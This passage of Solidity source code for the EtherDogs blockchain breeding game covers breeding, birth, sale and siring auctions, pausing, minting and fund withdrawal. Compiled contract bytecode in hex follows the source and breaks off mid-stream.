entirely. Requires a pre-payment of the fee given out to the first caller of giveBirth() /// @param _matronId The ID of the EtherDog acting as matron (will end up pregnant if successful) /// @param _sireId The ID of the EtherDog acting as sire (will begin its siring cooldown if successful) function breedWithAuto(uint256 _matronId, uint256 _sireId) external payable whenNotPaused { // Checks for payment. require(msg.value >= autoBirthFee); // Caller must own the matron. require(_owns(msg.sender, _matronId)); // Neither sire nor matron are allowed to be on auction during a normal // breeding operation, but we don't need to check that explicitly. // For matron: The caller of this function can't be the owner of the matron // because the owner of a EtherDog on auction is the auction house, and the // auction house will never call breedWith(). // For sire: Similarly, a sire on auction will be owned by the auction house // and the act of transferring ownership will have cleared any oustanding // siring approval. // Thus we don't need to spend gas explicitly checking to see if either dog // is on auction. // Check that matron and sire are both owned by caller, or that the sire // has given siring permission to caller (i.e. matron's owner). // Will fail for _sireId = 0 require(_isSiringPermitted(_sireId, _matronId)); // Grab a reference to the potential matron EtherDog storage matron = EtherDogs[_matronId]; // Make sure matron isn't pregnant, or in the middle of a siring cooldown require(_isReadyToBreed(matron)); // Grab a reference to the potential sire EtherDog storage sire = EtherDogs[_sireId]; // Make sure sire isn't pregnant, or in the middle of a siring cooldown require(_isReadyToBreed(sire)); // Test that these dogs are a valid mating pair. require(_isValidMatingPair( matron, _matronId, sire, _sireId )); // All checks passed, EtherDog gets pregnant! _breedWith(_matronId, _sireId); } /// @notice Have a pregnant EtherDog give birth! /// @param _matronId A EtherDog ready to give birth. /// @return The EtherDog ID of the new EtherDog. /// @dev Looks at a given EtherDog and, if pregnant and if the gestation period has passed, /// combines the genes of the two parents to create a new EtherDog. The new EtherDog is assigned /// to the current owner of the matron. Upon successful completion, both the matron and the /// new EtherDog will be ready to breed again. Note that anyone can call this function (if they /// are willing to pay the gas!), but the new EtherDog always goes to the mother's owner. function giveBirth(uint256 _matronId) external whenNotPaused returns(uint256) { // Grab a reference to the matron in storage. EtherDog storage matron = EtherDogs[_matronId]; // Check that the matron is a valid dog. require(matron.birthTime != 0); // Check that the matron is pregnant, and that its time has come! require(_isReadyToGiveBirth(matron)); // Grab a reference to the sire in storage. uint256 sireId = matron.siringWithId; EtherDog storage sire = EtherDogs[sireId]; // Determine the higher generation number of the two parents uint16 parentGen = matron.generation; if (sire.generation > matron.generation) { parentGen = sire.generation; } // Call the sooper-sekret gene mixing operation. uint256 childGenes = geneScience.mixGenes(matron.genes, sire.genes, matron.cooldownEndBlock - 1); // Make the new EtherDog! address owner = EtherDogIndexToOwner[_matronId]; uint256 EtherDogId = _createEtherDog(_matronId, matron.siringWithId, parentGen + 1, childGenes, owner); // Clear the reference to sire from the matron (REQUIRED! Having siringWithId // set is what marks a matron as being pregnant.) delete matron.siringWithId; // Every time a EtherDog gives birth counter is decremented. pregnantEtherDogs--; // Send the balance fee to the person who made birth happen. msg.sender.transfer(autoBirthFee); // return the new EtherDog's ID return EtherDogId; } } /// @title Auction Core /// @dev Contains models, variables, and internal methods for the auction. /// @notice We omit a fallback function to prevent accidental sends to this contract. contract ClockAuctionBase { // Represents an auction on an NFT struct Auction { // Current owner of NFT address seller; // Price (in wei) at beginning of auction uint128 startingPrice; // Price (in wei) at end of auction uint128 endingPrice; // Duration (in seconds) of auction uint64 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint64 startedAt; } // Reference to contract tracking NFT ownership ERC721 public nonFungibleContract; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public ownerCut; // Map from token ID to their corresponding auction. mapping (uint256 => Auction) tokenIdToAuction; event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); event AuctionCancelled(uint256 tokenId); /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _tokenId - ID of token whose ownership to verify. function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } /// @dev Escrows the NFT, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _tokenId - ID of token whose approval to verify. function _escrow(address _owner, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transferFrom(_owner, this, _tokenId); } /// @dev Transfers an NFT owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer NFT to. /// @param _tokenId - ID of token to transfer. function _transfer(address _receiver, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transfer(_receiver, _tokenId); } /// @dev Adds an auction to the list of open auctions. Also fires the /// AuctionCreated event. /// @param _tokenId The ID of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(uint256 _tokenId, Auction _auction) internal { // Require that all auctions have a duration of // at least one minute. (Keeps our math from getting hairy!) require(_auction.duration >= 1 minutes); tokenIdToAuction[_tokenId] = _auction; AuctionCreated( uint256(_tokenId), uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration) ); } /// @dev Cancels an auction unconditionally. function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); AuctionCancelled(_tokenId); } /// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { // Get a reference to the auction struct Auction storage auction = tokenIdToAuction[_tokenId]; // Explicitly check that this auction is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenId will just // return an auction object that is all zeros.) require(_isOnAuction(auction)); // Check that the bid is greater than or equal to the current price uint256 price = _currentPrice(auction); require(_bidAmount >= price); // Grab a reference to the seller before the auction struct // gets deleted. address seller = auction.seller; // The bid is good! Remove the auction before sending the fees // to the sender so we can't have a reentrancy attack. _removeAuction(_tokenId); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the auctioneer's cut. // (NOTE: _computeCut() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the auction // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it's an // accident, they can call cancelAuction(). ) seller.transfer(sellerProceeds); } // Calculate any excess funds included with the bid. If the excess // is anything worth worrying about, transfer it back to bidder. // NOTE: We checked above that the bid amount is greater than or // equal to the price so this cannot underflow. uint256 bidExcess = _bidAmount - price; // Return the funds. Similar to the previous transfer, this is // not susceptible to a re-entry attack because the auction is // removed before any transfers occur. msg.sender.transfer(bidExcess); // Tell the world! AuctionSuccessful(_tokenId, price, msg.sender); return price; } /// @dev Removes an auction from the list of open auctions. /// @param _tokenId - ID of NFT on auction. function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } /// @dev Returns true if the NFT is on auction. /// @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } /// @dev Returns current price of an NFT on auction. Broken into two /// functions (this one, that computes the duration from the auction /// structure, and the other that does the price computation) so we /// can easily test that the price computation works correctly. function _currentPrice(Auction storage _auction) internal view returns (uint256) { uint256 secondsPassed = 0; // A bit of insurance against negative values (or wraparound). // Probably not necessary (since Ethereum guarnatees that the // now variable doesn't ever go backwards). if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice( _auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed ); } /// @dev Computes the current price of an auction. Factored out /// from _currentPrice so we can run extensive unit tests. /// When testing, make this function public and turn on /// `Current price computation` test suite. function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our public functions carefully cap the maximum values for // time (at 64-bits) and currency (at 128-bits). _duration is // also known to be non-zero (see the require() statement in // _addAuction()) if (_secondsPassed >= _duration) { // We've reached the end of the dynamic pricing portion // of the auction, just return the end price. return _endingPrice; } else { // Starting price can be higher than ending price (and often is!), so // this delta can be negative. int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); // This multiplication can't overflow, _secondsPassed will easily fit within // 64-bits, and totalPriceChange will easily fit within 128-bits, their product // will always fit within 256-bits. int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); // currentPriceChange can be negative, but if so, will have a magnitude // less that _startingPrice. Thus, this result will always end up positive. int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } /// @dev Computes owner's cut of a sale. /// @param _price - Sale price of NFT. function _computeCut(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } /// @title Clock auction for non-fungible tokens. /// @notice We omit a fallback function to prevent accidental sends to this contract. contract ClockAuction is Pausable, ClockAuctionBase { /// @dev The ERC-165 interface signature for ERC-721. /// Ref: https://github.com/ethereum/EIPs/issues/165 /// Ref: https://github.com/ethereum/EIPs/issues/721 bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d); /// @dev Constructor creates a reference to the NFT ownership contract /// and verifies the owner cut is in the valid range. /// @param _nftAddress - address of a deployed contract implementing /// the Nonfungible Interface. /// @param _cut - percent cut the owner takes on each auction, must be /// between 0-10,000. function ClockAuction(address _nftAddress, uint256 _cut) public { require(_cut <= 10000); ownerCut = _cut; ERC721 candidateContract = ERC721(_nftAddress); require(candidateContract.supportsInterface(InterfaceSignature_ERC721)); nonFungibleContract = candidateContract; } /// @dev Remove all Ether from the contract, which is the owner's cuts /// as well as any Ether sent directly to the contract address. /// Always transfers to the NFT contract, but can be called either by /// the owner or the NFT contract. function withdrawBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == owner || msg.sender == nftAddress ); // We are using this boolean method to make sure that even if one fails it will still work nftAddress.transfer(this.balance); } /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of time to move between starting /// price and ending price (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external whenNotPaused { // Sanity check that no inputs overflow how many bits we've allocated // to store them in the auction struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(_owns(msg.sender, _tokenId)); _escrow(msg.sender, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Bids on an open auction, completing the auction and transferring /// ownership of the NFT if enough Ether is supplied. /// @param _tokenId - ID of token to bid on. function bid(uint256 _tokenId) external payable whenNotPaused { // _bid will throw if the bid or funds transfer fails _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); } /// @dev Cancels an auction that hasn't been won yet. /// Returns the NFT to original owner. /// @notice This is a state-modifying function that can /// be called while the contract is paused. /// @param _tokenId - ID of token on auction function cancelAuction(uint256 _tokenId) external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_tokenId, seller); } /// @dev Cancels an auction when the contract is paused. /// Only the owner may do this, and NFTs are returned to /// the seller. This should only be used in emergencies. /// @param _tokenId - ID of the NFT on auction to cancel. function cancelAuctionWhenPaused(uint256 _tokenId) whenPaused onlyOwner external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); _cancelAuction(_tokenId, auction.seller); } /// @dev Returns auction info for an NFT on auction. /// @param _tokenId - ID of NFT on auction. function getAuction(uint256 _tokenId) external view returns ( address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startingPrice, auction.endingPrice, auction.duration, auction.startedAt ); } /// @dev Returns the current price of an auction. /// @param _tokenId - ID of the token price we are checking. function getCurrentPrice(uint256 _tokenId) external view returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return _currentPrice(auction); } } /// @title Reverse auction modified for siring /// @notice We omit a fallback function to prevent accidental sends to this contract. contract SiringClockAuction is ClockAuction { // @dev Sanity check that allows us to ensure that we are pointing to the // right auction in our setSiringAuctionAddress() call. bool public isSiringClockAuction = true; // Delegate constructor function SiringClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} /// @dev Creates and begins a new auction. Since this function is wrapped, /// require sender to be EtherDogCore contract. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of auction (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { // Sanity check that no inputs overflow how many bits we've allocated // to store them in the auction struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Places a bid for siring. Requires the sender /// is the EtherDogCore contract because all bid methods /// should be wrapped. Also returns the EtherDog to the /// seller rather than the winner. function bid(uint256 _tokenId) external payable { require(msg.sender == address(nonFungibleContract)); address seller = tokenIdToAuction[_tokenId].seller; // _bid checks that token ID is valid and will throw if bid fails _bid(_tokenId, msg.value); // We transfer the EtherDog back to the seller, the winner will get // the offspring _transfer(seller, _tokenId); } } /// @title Clock auction modified for sale of EtherDogs /// @notice We omit a fallback function to prevent accidental sends to this contract. contract SaleClockAuction is ClockAuction { // @dev Sanity check that allows us to ensure that we are pointing to the // right auction in our setSaleAuctionAddress() call. bool public isSaleClockAuction = true; // Tracks last 5 sale price of gen0 EtherDog sales uint256 public gen0SaleCount; uint256[5] public lastGen0SalePrices; // Delegate constructor function SaleClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of auction (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { // Sanity check that no inputs overflow how many bits we've allocated // to store them in the auction struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Updates lastSalePrice if seller is the nft contract /// Otherwise, works the same as default bid method. function bid(uint256 _tokenId) external payable { // _bid verifies token ID size address seller = tokenIdToAuction[_tokenId].seller; uint256 price = _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); // If not a gen0 auction, exit if (seller == address(nonFungibleContract)) { // Track gen0 sale prices lastGen0SalePrices[gen0SaleCount % 5] = price; gen0SaleCount++; } } function averageGen0SalePrice() external view returns (uint256) { uint256 sum = 0; for (uint256 i = 0; i < 5; i++) { sum += lastGen0SalePrices[i]; } return sum / 5; } } /// @title Handles creating auctions for sale and siring of EtherDogs. /// This wrapper of ReverseAuction exists only so that users can create /// auctions with only one transaction. contract EtherDogAuction is EtherDogBreeding { // @notice The auction contract variables are defined in EtherDogBase to allow // us to refer to them in EtherDogOwnership to prevent accidental transfers. // `saleAuction` refers to the auction for gen0 and p2p sale of EtherDogs. // `siringAuction` refers to the auction for siring rights of EtherDogs. /// @dev Sets the reference to the sale auction. /// @param _address - Address of sale contract. function setSaleAuctionAddress(address _address) external onlyCEO { SaleClockAuction candidateContract = SaleClockAuction(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isSaleClockAuction()); // Set the new contract address saleAuction = candidateContract; } /// @dev Sets the reference to the siring auction. /// @param _address - Address of siring contract. function setSiringAuctionAddress(address _address) external onlyCEO { SiringClockAuction candidateContract = SiringClockAuction(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isSiringClockAuction()); // Set the new contract address siringAuction = candidateContract; } /// @dev Put a EtherDog up for auction. /// Does some ownership trickery to create auctions in one tx. function createSaleAuction( uint256 _EtherDogId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { // Auction contract checks input sizes // If EtherDog is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _EtherDogId)); // Ensure the EtherDog is not pregnant to prevent the auction // contract accidentally receiving ownership of the child. // NOTE: the EtherDog IS allowed to be in a cooldown. require(!isPregnant(_EtherDogId)); _approve(_EtherDogId, saleAuction); // Sale auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the EtherDog. saleAuction.createAuction( _EtherDogId, _startingPrice, _endingPrice, _duration, msg.sender ); } /// @dev Put a EtherDog up for auction to be sire. /// Performs checks to ensure the EtherDog can be sired, then /// delegates to reverse auction. function createSiringAuction( uint256 _EtherDogId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { // Auction contract checks input sizes // If EtherDog is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _EtherDogId)); require(isReadyToBreed(_EtherDogId)); _approve(_EtherDogId, siringAuction); // Siring auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the EtherDog. siringAuction.createAuction( _EtherDogId, _startingPrice, _endingPrice, _duration, msg.sender ); } /// @dev Completes a siring auction by bidding. /// Immediately breeds the winning matron with the sire on auction. /// @param _sireId - ID of the sire on auction. /// @param _matronId - ID of the matron owned by the bidder. function bidOnSiringAuction( uint256 _sireId, uint256 _matronId ) external payable whenNotPaused { // Auction contract checks input sizes require(_owns(msg.sender, _matronId)); require(isReadyToBreed(_matronId)); require(_canBreedWithViaAuction(_matronId, _sireId)); // Define the current price of the auction. uint256 currentPrice = siringAuction.getCurrentPrice(_sireId); require(msg.value >= currentPrice + autoBirthFee); // Siring auction will throw if the bid fails. siringAuction.bid.value(msg.value - autoBirthFee)(_sireId); _breedWith(uint32(_matronId), uint32(_sireId)); } /// @dev Transfers the balance of the sale auction contract /// to the EtherDogCore contract. We use two-step withdrawal to /// prevent two transfer calls in the auction bid function. function withdrawAuctionBalances() external onlyCLevel { saleAuction.withdrawBalance(); siringAuction.withdrawBalance(); } } /// @title all functions related to creating EtherDogs contract EtherDogMinting is EtherDogAuction { // Limits the number of dogs the contract owner can ever create. uint256 public constant DEFAULT_CREATION_LIMIT = 50000; // Counts the number of dogs the contract owner has created. uint256 public defaultCreatedCount; /// @dev we can create EtherDogs with different generations. Only callable by COO /// @param _genes The encoded genes of the EtherDog to be created, any value is accepted /// @param _owner The future owner of the created EtherDog. Default to contract COO /// @param _time The birth time of EtherDog /// @param _cooldownIndex The cooldownIndex of EtherDog function createDefaultGen0EtherDog(uint256 _genes, address _owner, uint256 _time, uint256 _cooldownIndex) external onlyCOO { require(_time == uint256(uint64(_time))); require(_cooldownIndex == uint256(uint16(_cooldownIndex))); require(_time > 0); require(_cooldownIndex >= 0 && _cooldownIndex <= 13); address EtherDogOwner = _owner; if (EtherDogOwner == address(0)) { EtherDogOwner = cooAddress; } require(defaultCreatedCount < DEFAULT_CREATION_LIMIT); defaultCreatedCount++; _createEtherDogWithTime(0, 0, 0, _genes, EtherDogOwner, _time, _cooldownIndex); } /// @dev we can create EtherDogs with different generations. Only callable by COO /// @param _matronId The EtherDog ID of the matron of this EtherDog /// @param _sireId The EtherDog ID of the sire of this EtherDog /// @param _genes The encoded genes of the EtherDog to be created, any value is accepted /// @param _owner The future owner of the created EtherDog. Default to contract COO /// @param _time The birth time of EtherDog /// @param _cooldownIndex The cooldownIndex of EtherDog function createDefaultEtherDog(uint256 _matronId, uint256 _sireId, uint256 _genes, address _owner, uint256 _time, uint256 _cooldownIndex) external onlyCOO { require(_matronId == uint256(uint32(_matronId))); require(_sireId == uint256(uint32(_sireId))); require(_time == uint256(uint64(_time))); require(_cooldownIndex == uint256(uint16(_cooldownIndex))); require(_time > 0); require(_cooldownIndex >= 0 && _cooldownIndex <= 13); address EtherDogOwner = _owner; if (EtherDogOwner == address(0)) { EtherDogOwner = cooAddress; } require(_matronId > 0); require(_sireId > 0); // Grab a reference to the matron in storage. EtherDog storage matron = EtherDogs[_matronId]; // Grab a reference to the sire in storage. EtherDog storage sire = EtherDogs[_sireId]; // Determine the higher generation number of the two parents uint16 parentGen = matron.generation; if (sire.generation > matron.generation) { parentGen = sire.generation; } _createEtherDogWithTime(_matronId, _sireId, parentGen + 1, _genes, EtherDogOwner, _time, _cooldownIndex); } } /// @title EtherDogs: Collectible, breedable, and oh-so-adorable EtherDogs on the Ethereum blockchain. /// @dev The main EtherDogs contract, keeps track of dogs so they don't wander around and get lost. contract EtherDogCore is EtherDogMinting { /* contract EtherDogCore { */ // This is the main EtherDogs contract. In order to keep our code seperated into logical sections, // we've broken it up in two ways. First, we have several seperately-instantiated sibling contracts // that handle auctions and our super-top-secret genetic combination algorithm. The auctions are // seperate since their logic is somewhat complex and there's always a risk of subtle bugs. By keeping // them in their own contracts, we can upgrade them without disrupting the main contract that tracks // EtherDog ownership. The genetic combination algorithm is kept seperate so we can open-source all of // the rest of our code without making it _too_ easy for folks to figure out how the genetics work. // Don't worry, I'm sure someone will reverse engineer it soon enough! // // Secondly, we break the core contract into multiple files using inheritence, one for each major // facet of functionality of CK. This allows us to keep related code bundled together while still // avoiding a single giant file with everything in it. The breakdown is as follows: // // - EtherDogBase: This is where we define the most fundamental code shared throughout the core // functionality. This includes our main data storage, constants and data types, plus // internal functions for managing these items. // // - EtherDogAccessControl: This contract manages the various addresses and constraints for operations // that can be executed only by specific roles. Namely CEO, CFO and COO. // // - EtherDogOwnership: This provides the methods required for basic non-fungible token // transactions, following the draft ERC-721 spec (https://github.com/ethereum/EIPs/issues/721). // // - EtherDogBreeding: This file contains the methods necessary to breed EtherDogs together, including // keeping track of siring offers, and relies on an external genetic combination contract. // // - EtherDogAuctions: Here we have the public methods for auctioning or bidding on EtherDogs or siring // services. The actual auction functionality is handled in two sibling contracts (one // for sales and one for siring), while auction creation and bidding is mostly mediated // through this facet of the core contract. // // - EtherDogMinting: This final facet contains the functionality we use for creating new gen0 EtherDogs. // We can make up to 5000 "promo" EtherDogs that can be given away (especially important when // the community is new), and all others can only be created and then immediately put up // for auction via an algorithmically determined starting price. Regardless of how they // are created, there is a hard limit of 2400*12*12 gen0 EtherDogs. After that, it's all up to the // community to breed, breed, breed! // Set in case the core contract is broken and an upgrade is required address public newContractAddress; /// @notice Creates the main EtherDogs smart contract instance. function EtherDogCore() public { // Starts paused. paused = true; // the creator of the contract is the initial CEO ceoAddress = msg.sender; // the creator of the contract is also the initial COO cooAddress = msg.sender; // start with the mythical EtherDog 0 - so we don't have generation-0 parent issues _createEtherDog(0, 0, 0, uint256(-1), address(0)); } /// @dev Used to mark the smart contract as upgraded, in case there is a serious /// breaking bug. This method does nothing but keep track of the new contract and /// emit a message indicating that the new address is set. It's up to clients of this /// contract to update to the new contract address in that case. (This contract will /// be paused indefinitely if such an upgrade takes place.) /// @param _v2Address new address function setNewAddress(address _v2Address) external onlyCEO whenPaused { // See README.md for updgrade plan newContractAddress = _v2Address; ContractUpgrade(_v2Address); } /// @notice No tipping! /// @dev Reject all Ether from being sent here, unless it's from one of the /// two auction contracts. (Hopefully, we can prevent user accidents.) function() external payable { require( msg.sender == address(saleAuction) || msg.sender == address(siringAuction) ); } /// @notice Returns all the relevant information about a specific EtherDog. /// @param _id The ID of the EtherDog of interest. function getEtherDog(uint256 _id) external view returns ( bool isGestating, bool isReady, uint256 cooldownIndex, uint256 nextActionAt, uint256 siringWithId, uint256 birthTime, uint256 matronId, uint256 sireId, uint256 generation, uint256 genes ) { EtherDog storage dog = EtherDogs[_id]; // if this variable is 0 then it's not gestating isGestating = (dog.siringWithId != 0); isReady = (dog.cooldownEndBlock <= block.number); cooldownIndex = uint256(dog.cooldownIndex); nextActionAt = uint256(dog.cooldownEndBlock); siringWithId = uint256(dog.siringWithId); birthTime = uint256(dog.birthTime); matronId = uint256(dog.matronId); sireId = uint256(dog.sireId); generation = uint256(dog.generation); genes = dog.genes; } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can't have /// newContractAddress set either, because then the contract was upgraded. /// @notice This is public rather than external so we can call super.unpause /// without using an expensive CALL. function unpause() public onlyCEO whenPaused { require(saleAuction != address(0)); require(siringAuction != address(0)); require(geneScience != address(0)); require(newContractAddress == address(0)); // Actually unpause the contract. super.unpause(); } // @dev Allows the CFO to capture the balance available to the contract. function withdrawBalance() external onlyCFO { uint256 balance = this.balance; // Subtract all the currently pregnant dogs we have, plus 1 of margin. uint256 subtractFees = (pregnantEtherDogs + 1) * autoBirthFee; if (balance > subtractFees) { cfoAddress.transfer(balance - subtractFees); } } }
0x6060604052600436106102785763ffffffff60e060020a600035041662d1779981146102b057806301ffc9a7146102d55780630519ce79146103215780630560ff44146103505780630645d824146103e957806306fdde03146103ff578063095ea7b3146104125780630a0f81681461043457806314001f4c1461044757806318160ddd146104665780631940a9361461047957806321717ebf1461048f57806323b872dd146104a257806324e7a38a146104ca57806327d7874c146104e95780632ba73c15146105085780632e5cc103146105275780633d7d3f5a146105555780633f4ba83a1461057457806346116e6f1461058757806346d22c701461059d5780634ad8c938146105b65780634b85fd55146105d55780634dfff04f146105eb5780634e0a33791461060d5780635663896e1461062c5780635c975abb146106425780635fd8c710146106555780636352211e1461066857806368ab3db21461067e5780636af04a57146106a65780636fbde40d146106b957806370a08231146106d857806371587988146106f7578063765a9210146107165780637a7d49371461072c5780638456cb591461073f5780638462151c1461075257806388c2a0bf146107c457806391876e57146107da5780639520a06f146107ed57806395d89b41146108005780639665f170146108135780639d6fac6f14610826578063a9059cbb14610855578063b047fb5014610877578063b0c35c051461088a578063bc4006f51461089d578063d3e6f49f146108b0578063e17b25af146108c6578063e6cbe351146108e5578063ec4fd09d146108f8578063ed60ade614610966578063f2b47d5214610974578063f7d8c88314610987575b600b5433600160a060020a03908116911614806102a35750600c5433600160a060020a039081169116145b15156102ae57600080fd5b005b34156102bb57600080fd5b6102c3610995565b60405190815260200160405180910390f35b34156102e057600080fd5b61030d7fffffffff000000000000000000000000000000000000000000000000000000006004351661099b565b604051901515815260200160405180910390f35b341561032c57600080fd5b610334610c22565b604051600160a060020a03909116815260200160405180910390f35b341561035b57600080fd5b610372600480359060248035908101910135610c31565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156103ae578082015183820152602001610396565b50505050905090810190601f1680156103db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103f457600080fd5b610334600435610d01565b341561040a57600080fd5b610372610d1c565b341561041d57600080fd5b6102ae600160a060020a0360043516602435610d53565b341561043f57600080fd5b610334610ddd565b341561045257600080fd5b6102ae600160a060020a0360043516610dec565b341561047157600080fd5b6102c3610e8c565b341561048457600080fd5b61030d600435610e97565b341561049a57600080fd5b610334610edc565b34156104ad57600080fd5b6102ae600160a060020a0360043581169060243516604435610eeb565b34156104d557600080fd5b6102ae600160a060020a0360043516610f72565b34156104f457600080fd5b6102ae600160a060020a0360043516611012565b341561051357600080fd5b6102ae600160a060020a0360043516611064565b341561053257600080fd5b6102ae600435602435604435600160a060020a036064351660843560a4356110b6565b341561056057600080fd5b6102ae600435602435604435606435611227565b341561057f57600080fd5b6102ae611302565b341561059257600080fd5b61033460043561139a565b34156105a857600080fd5b61030d6004356024356113b5565b34156105c157600080fd5b6102ae600435602435604435606435611435565b34156105e057600080fd5b6102ae6004356114fb565b34156105f657600080fd5b6102ae600160a060020a036004351660243561151b565b341561061857600080fd5b6102ae600160a060020a0360043516611575565b341561063757600080fd5b6102ae6004356115c7565b341561064d57600080fd5b61030d61162f565b341561066057600080fd5b6102ae61163f565b341561067357600080fd5b6103346004356116ba565b341561068957600080fd5b6102ae600435600160a060020a03602435166044356064356116de565b34156106b157600080fd5b61033461179e565b34156106c457600080fd5b6102ae600160a060020a03600435166117ad565